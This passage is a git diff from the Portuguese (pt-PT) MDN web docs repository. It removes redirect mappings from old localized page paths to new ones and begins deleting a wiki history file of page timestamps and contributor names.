-/pt-PT/docs/Tutorial_XUL/Adicionando_botões /pt-PT/docs/orphaned/Tutorial_XUL/Adicionando_botões
-/pt-PT/docs/Tutorial_XUL/Criando_uma_janela /pt-PT/docs/orphaned/Tutorial_XUL/Criando_uma_janela
-/pt-PT/docs/Tutorial_XUL/Introdução /pt-PT/docs/orphaned/Tutorial_XUL/Introdução
-/pt-PT/docs/Tutorial_XUL:Adicionando_botões /pt-PT/docs/orphaned/Tutorial_XUL/Adicionando_botões
-/pt-PT/docs/Tutorial_XUL:Criando_uma_janela /pt-PT/docs/orphaned/Tutorial_XUL/Criando_uma_janela
-/pt-PT/docs/Tutorial_XUL:Introdução /pt-PT/docs/orphaned/Tutorial_XUL/Introdução
-/pt-PT/docs/Tutorial_do_Canvas /pt-PT/docs/orphaned/Tutorial_do_Canvas
-/pt-PT/docs/Tutorial_do_Canvas/Formas_de_desenho /pt-PT/docs/orphaned/Tutorial_do_Canvas/Formas_de_desenho
-/pt-PT/docs/Tutorial_do_Canvas/Utilização_básica /pt-PT/docs/orphaned/Tutorial_do_Canvas/Utilização_básica
-/pt-PT/docs/Tutorial_do_Canvas:_Utilização_básica /pt-PT/docs/orphaned/Tutorial_do_Canvas/Utilização_básica
-/pt-PT/docs/Um_pequeno_exemplo_usando_AJAX /pt-PT/docs/orphaned/Um_pequeno_exemplo_usando_AJAX
-/pt-PT/docs/Usando_o_Núcleo_DOM_Nível_1_do_W3C /pt-PT/docs/Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core
-/pt-PT/docs/Usando_privilégios_expandidos_em_navegadores_Mozilla /pt-PT/docs/orphaned/Usando_privilégios_expandidos_em_navegadores_Mozilla
-/pt-PT/docs/Usando_áudio_e_vídeo_no_Firefox /pt-PT/docs/orphaned/Usando_áudio_e_vídeo_no_Firefox
-/pt-PT/docs/Using_the_W3C_DOM_Level_1_Core /pt-PT/docs/Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core
-/pt-PT/docs/Utilizando_meta_tags /pt-PT/docs/orphaned/Utilizando_meta_tags
-/pt-PT/docs/Utilização_CXX_no_código_da_Mozilla /pt-PT/docs/Mozilla/Utilização_CXX_no_código_da_Mozilla
-/pt-PT/docs/Venkman /pt-PT/docs/orphaned/Venkman
-/pt-PT/docs/Web/API/API_Autenticacao_Web /pt-PT/docs/Web/API/Web_Authentication_API
-/pt-PT/docs/Web/API/API_Entradas_de_Diretoria_e_Ficheiro /pt-PT/docs/Web/API/File_and_Directory_Entries_API
-/pt-PT/docs/Web/API/API_WebRTC /pt-PT/docs/Web/API/WebRTC_API
-/pt-PT/docs/Web/API/API_WebRTC/Tirar_fotografias /pt-PT/docs/Web/API/WebRTC_API/Taking_still_photos
-/pt-PT/docs/Web/API/API_armazenamento /pt-PT/docs/Web/API/Storage_API
-/pt-PT/docs/Web/API/API_de_Armazenamento_da_Web /pt-PT/docs/conflicting/Web/API/Web_Storage_API
-/pt-PT/docs/Web/API/API_de_canvas /pt-PT/docs/Web/API/Canvas_API
-/pt-PT/docs/Web/API/API_de_canvas/Tutorial /pt-PT/docs/Web/API/Canvas_API/Tutorial
-/pt-PT/docs/Web/API/API_do_Estado_da_Bateria /pt-PT/docs/Web/API/Battery_Status_API
-/pt-PT/docs/Web/API/API_transmissoes_multimedia /pt-PT/docs/Web/API/Media_Streams_API
-/pt-PT/docs/Web/API/Document.dir /pt-PT/docs/Web/API/Document/dir
-/pt-PT/docs/Web/API/Eventos_de_Luz_Ambiente /pt-PT/docs/Web/API/Ambient_Light_Events
-/pt-PT/docs/Web/API/Geolocation/Utilizacao_da_geolocalizacao /pt-PT/docs/Web/API/Geolocation_API
-/pt-PT/docs/Web/API/Metadados /pt-PT/docs/Web/API/Metadata
-/pt-PT/docs/Web/API/NavigatorOnLine/Eventos_online_e_offline /pt-PT/docs/Web/API/NavigatorOnLine/Online_and_offline_events
-/pt-PT/docs/Web/API/Notifications_API/Utilizar_API_Notificações /pt-PT/docs/Web/API/Notifications_API/Using_the_Notifications_API
-/pt-PT/docs/Web/API/Sistema_de_ficheiros /pt-PT/docs/Web/API/FileSystem
-/pt-PT/docs/Web/API/WebGL_API/Constantes /pt-PT/docs/Web/API/WebGL_API/Constants
-/pt-PT/docs/Web/API/WebGL_API/Dados /pt-PT/docs/Web/API/WebGL_API/Data
-/pt-PT/docs/Web/API/WebGL_API/Tipos /pt-PT/docs/Web/API/WebGL_API/Types
-/pt-PT/docs/Web/API/WebGL_API/Utilizar_Extensões /pt-PT/docs/Web/API/WebGL_API/Using_Extensions
-/pt-PT/docs/Web/API/WebSockets_API/Escrever_aplicação_cliente_de_WebSocket /pt-PT/docs/Web/API/WebSockets_API/Writing_WebSocket_client_applications
-/pt-PT/docs/Web/API/WebSockets_API/Escrever_servidores_de_WebSocket /pt-PT/docs/Web/API/WebSockets_API/Writing_WebSocket_servers
-/pt-PT/docs/Web/API/WebSockets_API/Escrever_um_servidor_WebSocket_em_C /pt-PT/docs/Web/API/WebSockets_API/Writing_WebSocket_server
-/pt-PT/docs/Web/API/WebSockets_API/Escrever_um_servidor_WebSocket_em_Java /pt-PT/docs/Web/API/WebSockets_API/Writing_a_WebSocket_server_in_Java
-/pt-PT/docs/Web/API/Web_Audio_API/Utilizar_api_audio_web /pt-PT/docs/Web/API/Web_Audio_API/Using_Web_Audio_API
-/pt-PT/docs/Web/API/Web_Workers_API/Utilizacao_de_web_workers /pt-PT/docs/Web/API/Web_Workers_API/Using_web_workers
-/pt-PT/docs/Web/API/Window/barra_lateral /pt-PT/docs/Web/API/Window/sidebar
-/pt-PT/docs/Web/Accessibility/ARIA/ARIA_Techniques/Usando_o_role_status /pt-PT/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_status_role
-/pt-PT/docs/Web/Acessibilidade /pt-PT/docs/Web/Accessibility
-/pt-PT/docs/Web/Acessibilidade/ARIA /pt-PT/docs/Web/Accessibility/ARIA
-/pt-PT/docs/Web/Apps/Progressiva /pt-PT/docs/Web/Progressive_web_apps
-/pt-PT/docs/Web/Apps/Progressiva/Identificavel /pt-PT/docs/conflicting/Web/Progressive_web_apps
-/pt-PT/docs/Web/Apps/Progressiva/Responsivo /pt-PT/docs/conflicting/Web/Progressive_web_apps/Responsive/responsive_design_building_blocks
-/pt-PT/docs/Web/Apps/Progressive/Seguro /pt-PT/docs/conflicting/Web/Progressive_web_apps_c5ce9d8c3500409dbf6f879e4fe3cb8a
-/pt-PT/docs/Web/CSS/:after /pt-PT/docs/Web/CSS/::after
-/pt-PT/docs/Web/CSS/:before /pt-PT/docs/Web/CSS/::before
-/pt-PT/docs/Web/CSS/CSS_Background_and_Borders /pt-PT/docs/Web/CSS/CSS_Backgrounds_and_Borders
-/pt-PT/docs/Web/CSS/CSS_Background_and_Borders/Múltiplos_planos_de_fundo /pt-PT/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds
-/pt-PT/docs/Web/CSS/CSS_Box_Model/Introducao_modelo_caixa_CSS /pt-PT/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model
-/pt-PT/docs/Web/CSS/CSS_Colors /en-US/docs/Web/CSS/CSS_Color
-/pt-PT/docs/Web/CSS/CSS_Colors/Ferramenta_selecao_cor /pt-PT/docs/Web/CSS/CSS_Colors/Color_picker_tool
-/pt-PT/docs/Web/CSS/CSS_Flexible_Box_Layout/alinhamento_de_itens_num_recipiente_flex /pt-PT/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container
-/pt-PT/docs/Web/CSS/CSS_Flexible_Box_Layout/casos_de_utilizacao_tipicos_do_flexbox /pt-PT/docs/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox
-/pt-PT/docs/Web/CSS/CSS_Flexible_Box_Layout/ordenacao_dos_itens_flex /pt-PT/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items
-/pt-PT/docs/Web/CSS/CSS_Flexible_Box_Layout/relação_do_flexbox_com_outros_métodos_de_layout /pt-PT/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods
-/pt-PT/docs/Web/CSS/CSS_Tipos /pt-PT/docs/Web/CSS/CSS_Types
-/pt-PT/docs/Web/CSS/Como_começar /pt-PT/docs/Learn/CSS/First_steps
-/pt-PT/docs/Web/CSS/Como_começar/CSS_legível /pt-PT/docs/Learn/CSS/First_steps/How_CSS_is_structured
-/pt-PT/docs/Web/CSS/Como_começar/Caixas /pt-PT/docs/Learn/CSS/Building_blocks
-/pt-PT/docs/Web/CSS/Como_começar/Cascata_e_herança /pt-PT/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance
-/pt-PT/docs/Web/CSS/Como_começar/Como_o_CSS_trabalha /pt-PT/docs/Learn/CSS/First_steps/How_CSS_works
-/pt-PT/docs/Web/CSS/Como_começar/Conteúdo /pt-PT/docs/Learn/CSS/Howto/Generated_content
-/pt-PT/docs/Web/CSS/Como_começar/Cor /pt-PT/docs/Learn/CSS/Building_blocks/Values_and_units
-/pt-PT/docs/Web/CSS/Como_começar/Disposição /pt-PT/docs/Learn/CSS/CSS_layout
-/pt-PT/docs/Web/CSS/Como_começar/Estilos_de_texto /pt-PT/docs/Learn/CSS/Styling_text/Fundamentals
-/pt-PT/docs/Web/CSS/Como_começar/Gráficos_SVG /pt-PT/docs/Web/SVG/Tutorial/SVG_and_CSS
-/pt-PT/docs/Web/CSS/Como_começar/JavaScript /pt-PT/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents
-/pt-PT/docs/Web/CSS/Como_começar/Listas /pt-PT/docs/Learn/CSS/Styling_text/Styling_lists
-/pt-PT/docs/Web/CSS/Como_começar/Mídia /pt-PT/docs/Web/Progressive_web_apps/Responsive/Media_types
-/pt-PT/docs/Web/CSS/Como_começar/O_que_é_CSS /pt-PT/docs/conflicting/Learn/CSS/First_steps/How_CSS_works
-/pt-PT/docs/Web/CSS/Como_começar/O_que_é_CSS? /pt-PT/docs/orphaned/Web/CSS/Como_começar/O_que_é_CSS?
-/pt-PT/docs/Web/CSS/Como_começar/Porque_usar_CSS /pt-PT/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_0767812f50daab83155d62da97c6e460
-/pt-PT/docs/Web/CSS/Como_começar/Seletores /pt-PT/docs/Learn/CSS/Building_blocks/Selectors
-/pt-PT/docs/Web/CSS/Como_começar/Tabelas /pt-PT/docs/Learn/CSS/Building_blocks/Styling_tables
-/pt-PT/docs/Web/CSS/Consulta_de_mídia /pt-PT/docs/Web/CSS/Media_Queries/Using_media_queries
-/pt-PT/docs/Web/CSS/Consultas_de_media /pt-PT/docs/Web/CSS/Media_Queries
-/pt-PT/docs/Web/CSS/Folhas_de_estilo_alternativas /pt-PT/docs/Web/CSS/Alternative_style_sheets
-/pt-PT/docs/Web/CSS/Média_paginada /pt-PT/docs/Web/CSS/Paged_Media
-/pt-PT/docs/Web/CSS/Múltiplos_fundos /pt-PT/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds
-/pt-PT/docs/Web/CSS/Múltiplos_planos_de_fundo /pt-PT/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds
-/pt-PT/docs/Web/CSS/Pseudoclasses /pt-PT/docs/Web/CSS/Pseudo-classes
-/pt-PT/docs/Web/CSS/Pseudoelementos /pt-PT/docs/Web/CSS/Pseudo-elements
-/pt-PT/docs/Web/CSS/Referência_CSS /pt-PT/docs/Web/CSS/Reference
-/pt-PT/docs/Web/CSS/Usando_transformações_CSS /pt-PT/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms
-/pt-PT/docs/Web/CSS/grid-gap /pt-PT/docs/Web/CSS/gap
-/pt-PT/docs/Web/CSS/layout_de_grelha_css /pt-PT/docs/Web/CSS/CSS_Grid_Layout
-/pt-PT/docs/Web/Componentes_Web /pt-PT/docs/Web/Web_Components
-/pt-PT/docs/Web/Eventos /pt-PT/docs/Web/Events
-/pt-PT/docs/Web/Eventos/visibilitychange /pt-PT/docs/Web/API/Document/visibilitychange_event
-/pt-PT/docs/Web/Guide/AJAX/Como_começar /pt-PT/docs/Web/Guide/AJAX/Getting_Started
-/pt-PT/docs/Web/Guide/AJAX/Comunidade /pt-PT/docs/Web/Guide/AJAX/Community
-/pt-PT/docs/Web/Guide/CSS /pt-PT/docs/Learn/CSS
-/pt-PT/docs/Web/Guide/Eventos /pt-PT/docs/orphaned/Web/Guide/Events
-/pt-PT/docs/Web/Guide/Events /pt-PT/docs/orphaned/Web/Guide/Events
-/pt-PT/docs/Web/Guide/Gráficos /pt-PT/docs/Web/Guide/Graphics
-/pt-PT/docs/Web/Guide/HTML /pt-PT/docs/Learn/HTML
-/pt-PT/docs/Web/Guide/HTML/Categorias_de_conteudo /pt-PT/docs/Web/Guide/HTML/Content_categories
-/pt-PT/docs/Web/Guide/HTML/Introduction /pt-PT/docs/Learn/HTML/Introduction_to_HTML
-/pt-PT/docs/Web/Guide/HTML/Utilizar_estruturas_e_seccoes_de_HTML /pt-PT/docs/Web/Guide/HTML/Using_HTML_sections_and_outlines
-/pt-PT/docs/Web/HTML/Aplicar_cor__elementos_HTML_utilizando_CSS /pt-PT/docs/Web/HTML/Applying_color
-/pt-PT/docs/Web/HTML/Aplicar_cor_elementos_HTML_utilizando_CSS /pt-PT/docs/Web/HTML/Applying_color
-/pt-PT/docs/Web/HTML/Atributos /pt-PT/docs/Web/HTML/Attributes
-/pt-PT/docs/Web/HTML/Atributos/rel /pt-PT/docs/Web/HTML/Attributes/rel
-/pt-PT/docs/Web/HTML/Atributos_globais /pt-PT/docs/Web/HTML/Global_attributes
-/pt-PT/docs/Web/HTML/CORS_settings_attributes /pt-PT/docs/Web/HTML/Attributes/crossorigin
-/pt-PT/docs/Web/HTML/Elemento /pt-PT/docs/Web/HTML/Element
-/pt-PT/docs/Web/HTML/Elemento/Audio /pt-PT/docs/Web/HTML/Element/audio
-/pt-PT/docs/Web/HTML/Elemento/Video /pt-PT/docs/Web/HTML/Element/video
-/pt-PT/docs/Web/HTML/Elemento/fieldset /pt-PT/docs/Web/HTML/Element/fieldset
-/pt-PT/docs/Web/HTML/Elemento/figcaption /pt-PT/docs/Web/HTML/Element/figcaption
-/pt-PT/docs/Web/HTML/Elemento/head /pt-PT/docs/Web/HTML/Element/head
-/pt-PT/docs/Web/HTML/Elemento/nav /pt-PT/docs/Web/HTML/Element/nav
-/pt-PT/docs/Web/HTML/Elemento/progress /pt-PT/docs/Web/HTML/Element/progress
-/pt-PT/docs/Web/HTML/HTML5 /pt-PT/docs/Web/Guide/HTML/HTML5
-/pt-PT/docs/Web/HTML/HTML5/Forms_no_HTML5 /pt-PT/docs/orphaned/Learn/HTML/Forms/HTML5_updates
-/pt-PT/docs/Web/HTML/HTML5/Introdução_ao_HTML5 /pt-PT/docs/Web/Guide/HTML/HTML5/Introduction_to_HTML5
-/pt-PT/docs/Web/HTML/HTML5/Parser_HTML5 /pt-PT/docs/Web/Guide/HTML/HTML5/HTML5_Parser
-/pt-PT/docs/Web/HTML/Referencia /pt-PT/docs/Web/HTML/Reference
-/pt-PT/docs/Web/HTML/Tipos_de_hiperligacao /pt-PT/docs/Web/HTML/Link_types
-/pt-PT/docs/Web/HTML_Linguagem_de_marcacao_de_hipertexto /pt-PT/docs/Web/HTML
-/pt-PT/docs/Web/JavaScript/Estruturas_de_dados /pt-PT/docs/Web/JavaScript/Data_structures
-/pt-PT/docs/Web/JavaScript/Gestao_Memoria /pt-PT/docs/Web/JavaScript/Memory_Management
-/pt-PT/docs/Web/JavaScript/Guia /pt-PT/docs/Web/JavaScript/Guide
-/pt-PT/docs/Web/JavaScript/Guia/Detalhes_do_modelo_de_objeto /pt-PT/docs/Web/JavaScript/Guide/Details_of_the_Object_Model
-/pt-PT/docs/Web/JavaScript/Guia/Expressoes_e_Operadores /pt-PT/docs/orphaned/Web/JavaScript/Guia/Expressoes_e_Operadores
-/pt-PT/docs/Web/JavaScript/Guia/Gramática_e_tipos /pt-PT/docs/Web/JavaScript/Guide/Grammar_and_types
-/pt-PT/docs/Web/JavaScript/Guia/Introdução /pt-PT/docs/Web/JavaScript/Guide/Introduction
-/pt-PT/docs/Web/JavaScript/Guia/Introdução_ao_JavaScript /pt-PT/docs/orphaned/Web/JavaScript/Guia/Introdução_ao_JavaScript
-/pt-PT/docs/Web/JavaScript/Guia/Sobre /pt-PT/docs/orphaned/Web/JavaScript/Guia/Sobre
-/pt-PT/docs/Web/JavaScript/Guia/Valores,_Variáveis_e_Literais /pt-PT/docs/orphaned/Web/JavaScript/Guia/Valores,_Variáveis_e_Literais
-/pt-PT/docs/Web/JavaScript/New_in_JavaScript /pt-PT/docs/Web/JavaScript/Novidades_no_JavaScript
-/pt-PT/docs/Web/JavaScript/O_que_é_o_JavaScript /pt-PT/docs/orphaned/Web/JavaScript/O_que_é_o_JavaScript
-/pt-PT/docs/Web/JavaScript/Reference/Errors/declaração_função_sem_nome /pt-PT/docs/Web/JavaScript/Reference/Errors/Unnamed_function_statement
-/pt-PT/docs/Web/JavaScript/Reference/Extratos_e_declarações /pt-PT/docs/Web/JavaScript/Reference/Statements
-/pt-PT/docs/Web/JavaScript/Reference/Extratos_e_declarações/bloco /pt-PT/docs/Web/JavaScript/Reference/Statements/block
-/pt-PT/docs/Web/JavaScript/Reference/Extratos_e_declarações/for /pt-PT/docs/Web/JavaScript/Reference/Statements/for
-/pt-PT/docs/Web/JavaScript/Reference/Extratos_e_declarações/return /pt-PT/docs/Web/JavaScript/Reference/Statements/return
-/pt-PT/docs/Web/JavaScript/Reference/Extratos_e_declarações/throw /pt-PT/docs/Web/JavaScript/Reference/Statements/throw
-/pt-PT/docs/Web/JavaScript/Reference/Funcionalidades_obsoletas /pt-PT/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features
-/pt-PT/docs/Web/JavaScript/Reference/Funcoes /pt-PT/docs/Web/JavaScript/Reference/Functions
-/pt-PT/docs/Web/JavaScript/Reference/Funcoes/Funcoes_seta /pt-PT/docs/Web/JavaScript/Reference/Functions/Arrow_functions
-/pt-PT/docs/Web/JavaScript/Reference/Funcoes/arguments /pt-PT/docs/Web/JavaScript/Reference/Functions/arguments
-/pt-PT/docs/Web/JavaScript/Reference/Funcoes/parametros_rest /pt-PT/docs/Web/JavaScript/Reference/Functions/rest_parameters
-/pt-PT/docs/Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype /pt-PT/docs/orphaned/Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype
-/pt-PT/docs/Web/JavaScript/Reference/Global_Objects/Number/prototype /pt-PT/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Number
-/pt-PT/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype /pt-PT/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Object
-/pt-PT/docs/Web/JavaScript/Reference/Operadores /pt-PT/docs/Web/JavaScript/Reference/Operators
-/pt-PT/docs/Web/JavaScript/Reference/Operadores/Operador_virgula /pt-PT/docs/Web/JavaScript/Reference/Operators/Comma_Operator
-/pt-PT/docs/Web/JavaScript/Reference/Operadores/Precedencia_operador /pt-PT/docs/Web/JavaScript/Reference/Operators/Operator_Precedence
-/pt-PT/docs/Web/JavaScript/Reference/Operadores/função /pt-PT/docs/Web/JavaScript/Reference/Operators/function
-/pt-PT/docs/Web/JavaScript/Reference/Sobre /pt-PT/docs/Web/JavaScript/Reference/About
-/pt-PT/docs/Web/MathML/Attribute/Valores /pt-PT/docs/Web/MathML/Attribute/Values
-/pt-PT/docs/Web/MathML/Element/mglyph /pt-PT/docs/orphaned/Web/MathML/Element/mglyph
-/pt-PT/docs/Web/MathML/Element/mlabeledtr /pt-PT/docs/orphaned/Web/MathML/Element/mlabeledtr
-/pt-PT/docs/Web/MathML/Examples/Derivar_a_Formula_Resolvente /pt-PT/docs/Web/MathML/Examples/Deriving_the_Quadratic_Formula
-/pt-PT/docs/Web/MathML/Examples/MathML_teorema_de_Pitagoras /pt-PT/docs/Web/MathML/Examples/MathML_Pythagorean_Theorem
-/pt-PT/docs/Web/Progressive_web_apps/Guia_de_programacao /pt-PT/docs/Web/Progressive_web_apps/Developer_guide
-/pt-PT/docs/Web/Progressive_web_apps/Identificavel /pt-PT/docs/conflicting/Web/Progressive_web_apps
-/pt-PT/docs/Web/Progressive_web_apps/Responsivo /pt-PT/docs/conflicting/Web/Progressive_web_apps/Responsive/responsive_design_building_blocks
-/pt-PT/docs/Web/Progressive_web_apps/Responsivo/Elementos_base_desenho_adaptavel /pt-PT/docs/Web/Progressive_web_apps/Responsive/responsive_design_building_blocks
-/pt-PT/docs/Web/Progressive_web_apps/Seguro /pt-PT/docs/conflicting/Web/Progressive_web_apps_c5ce9d8c3500409dbf6f879e4fe3cb8a
-/pt-PT/docs/Web/SVG/Aplicar_efeitos_SVG_conteudo_HTML /pt-PT/docs/Web/SVG/Applying_SVG_effects_to_HTML_content
-/pt-PT/docs/Web/SVG/Namespaces_Crash_Course/Exemplo /pt-PT/docs/Web/SVG/Namespaces_Crash_Course/Example
-/pt-PT/docs/Web/SVG/SVG_animacao_com_SMIL /pt-PT/docs/Web/SVG/SVG_animation_with_SMIL
-/pt-PT/docs/Web/SVG/Tutorial/Introducao /pt-PT/docs/Web/SVG/Tutorial/Introduction
-/pt-PT/docs/Web/SVG/Tutorial/SVG_na_Introducao_HTML /pt-PT/docs/Web/SVG/Tutorial/SVG_In_HTML_Introduction
-/pt-PT/docs/Web/Security/Conteudo_misto /pt-PT/docs/Web/Security/Mixed_content
-/pt-PT/docs/Web/Security/Mixed_content/Como_corrigir_um_site_da_Web_com_conteudo_misto_bloqueado /pt-PT/docs/Web/Security/Mixed_content/How_to_fix_website_with_mixed_content
-/pt-PT/docs/Web/Seguranca /pt-PT/docs/Web/Security
-/pt-PT/docs/Web/Seguranca/Palavras-passe_inseguras /pt-PT/docs/Web/Security/Insecure_passwords
-/pt-PT/docs/Web/Seguranca/Same-origin_policy /pt-PT/docs/Web/Security/Same-origin_policy
-/pt-PT/docs/Web/Tutoriais /pt-PT/docs/Web/Tutorials
-/pt-PT/docs/Web/WebAPI /pt-PT/docs/conflicting/Web/API
-/pt-PT/docs/Web/XML/Introducao_a_XML /pt-PT/docs/Web/XML/XML_introduction
-/pt-PT/docs/Web/XSLT/Comunidade /pt-PT/docs/orphaned/Web/XSLT/Comunidade
-/pt-PT/docs/Web/XSLT/Elementos /pt-PT/docs/orphaned/Web/XSLT/Elementos
-/pt-PT/docs/WebAssembly/Utilizar_API_JavaScript_WebAssembly /pt-PT/docs/WebAssembly/Using_the_JavaScript_API
-/pt-PT/docs/XForms /pt-PT/docs/orphaned/XForms
-/pt-PT/docs/XForms/Controles_Customizados /pt-PT/docs/orphaned/XForms/Controles_Customizados
-/pt-PT/docs/XForms:Controles_Customizados /pt-PT/docs/orphaned/XForms/Controles_Customizados
-/pt-PT/docs/XForms_especiais_para_Mozilla /pt-PT/docs/orphaned/XForms_especiais_para_Mozilla
-/pt-PT/docs/XHTML /pt-PT/docs/Glossary/XHTML
-/pt-PT/docs/XMLHttpRequest /pt-PT/docs/conflicting/Web/API/XMLHttpRequest
-/pt-PT/docs/XML_no_Mozilla /pt-PT/docs/orphaned/XML_no_Mozilla
-/pt-PT/docs/XPath/Eixos /pt-PT/docs/orphaned/XPath/Eixos
-/pt-PT/docs/XPath/Funções /pt-PT/docs/orphaned/XPath/Funções
-/pt-PT/docs/XPath:Eixos /pt-PT/docs/orphaned/XPath/Eixos
-/pt-PT/docs/XPath:Funções /pt-PT/docs/orphaned/XPath/Funções
-/pt-PT/docs/XSLT /pt-PT/docs/Web/XSLT
-/pt-PT/docs/XSLT/Comunidade /pt-PT/docs/orphaned/Web/XSLT/Comunidade
-/pt-PT/docs/XSLT/Elementos /pt-PT/docs/orphaned/Web/XSLT/Elementos
-/pt-PT/docs/XSLT:Comunidade /pt-PT/docs/orphaned/Web/XSLT/Comunidade
-/pt-PT/docs/XSLT:Elementos /pt-PT/docs/orphaned/Web/XSLT/Elementos
-/pt-PT/docs/en /en-US/
-/pt-PT/docs/manipuladores_de_protocolos_baseados_na_web /pt-PT/docs/orphaned/Manipuladores_de_protocolo_web
diff --git a/files/pt-pt/_wikihistory.json b/files/pt-pt/_wikihistory.json
deleted file mode 100644
index 7030ac5208..0000000000
--- a/files/pt-pt/_wikihistory.json
+++ /dev/null
@@ -1,5178 +0,0 @@
-{
- "Games": {
- "modified": "2019-09-09T15:34:18.541Z",
- "contributors": [
- "SphinxKnight",
- "Aschlla",
- "wbamberg",
- "rPetas",
- "fscholz",
- "Anonymous"
- ]
- },
- "Games/Tutorials": {
- "modified": "2019-03-18T21:30:51.808Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Games/Tutorials/2D_breakout_game_Phaser": {
- "modified": "2019-03-18T21:30:42.706Z",
- "contributors": [
- "wbamberg",
- "chrisdavidmills"
- ]
- },
- "Glossary": {
- "modified": "2020-10-07T11:13:28.151Z",
- "contributors": [
- "peterbe",
- "joaonunomota",
- "SphinxKnight",
- "Anonymous",
- "wbamberg"
- ]
- },
- "Glossary/404": {
- "modified": "2020-06-25T18:13:41.660Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Glossary/502": {
- "modified": "2020-06-25T18:28:46.890Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Glossary/AJAX": {
- "modified": "2020-06-09T08:11:59.760Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Glossary/API": {
- "modified": "2019-03-23T22:32:07.433Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Glossary/ARIA": {
- "modified": "2020-06-11T20:31:33.120Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Glossary/Accessibility": {
- "modified": "2019-03-18T21:47:01.702Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Glossary/Argument": {
- "modified": "2019-03-18T21:17:57.812Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Glossary/BigInt": {
- "modified": "2020-06-12T14:16:25.328Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Glossary/Block_cipher_mode_of_operation": {
- "modified": "2020-07-19T20:41:55.171Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Glossary/Boolean": {
- "modified": "2019-03-18T21:45:55.769Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Glossary/Browser": {
- "modified": "2019-03-23T22:01:42.054Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Glossary/CIA": {
- "modified": "2020-06-11T20:33:04.482Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Glossary/CRLF": {
- "modified": "2020-06-12T13:10:14.562Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Glossary/CRUD": {
- "modified": "2020-06-11T20:38:17.457Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Glossary/Cache": {
- "modified": "2020-06-07T12:38:40.205Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Glossary/Compile": {
- "modified": "2019-03-23T22:01:24.745Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Glossary/Cross_Axis": {
- "modified": "2019-04-08T06:58:12.600Z",
- "contributors": [
- "diogo-panaca"
- ]
- },
- "Glossary/DHTML": {
- "modified": "2019-01-16T16:23:46.538Z",
- "contributors": [
- "SphinxKnight",
- "RuiMaciel"
- ]
- },
- "Glossary/DOM": {
- "modified": "2019-10-08T09:31:32.173Z",
- "contributors": [
- "Anonymous",
- "GoToLoop"
- ]
- },
- "Glossary/ECMA": {
- "modified": "2019-03-23T22:30:19.413Z",
- "contributors": [
- "GoToLoop"
- ]
- },
- "Glossary/Element": {
- "modified": "2019-03-18T21:18:07.800Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Glossary/Engine": {
- "modified": "2019-03-23T22:24:10.538Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Glossary/Entity_header": {
- "modified": "2020-07-25T18:10:04.388Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Glossary/Favicon": {
- "modified": "2020-04-30T05:49:13.226Z",
- "contributors": [
- "adilsonmandlate"
- ]
- },
- "Glossary/Flexbox": {
- "modified": "2019-04-08T06:38:43.855Z",
- "contributors": [
- "diogo-panaca"
- ]
- },
- "Glossary/GZip_compression": {
- "modified": "2019-03-18T21:46:58.480Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Glossary/Git": {
- "modified": "2020-06-13T09:39:03.707Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Glossary/HTML": {
- "modified": "2019-03-23T22:13:01.389Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Glossary/Hypertext": {
- "modified": "2019-03-23T22:01:40.877Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Glossary/IANA": {
- "modified": "2020-06-07T13:01:45.679Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Glossary/ISP": {
- "modified": "2020-07-16T14:02:41.646Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Glossary/Idempotent": {
- "modified": "2019-07-11T10:59:59.365Z",
- "contributors": [
- "FilipePintoReis"
- ]
- },
- "Glossary/IndexedDB": {
- "modified": "2019-03-23T22:30:22.618Z",
- "contributors": [
- "GoToLoop"
- ]
- },
- "Glossary/Lazy_load": {
- "modified": "2020-06-09T04:59:38.616Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Glossary/Localization": {
- "modified": "2019-03-24T00:03:56.319Z",
- "contributors": [
- "Anonymous",
- "fscholz",
- "Verruckt",
- "Kayalemao",
- "Tagl"
- ]
- },
- "Glossary/Main_Axis": {
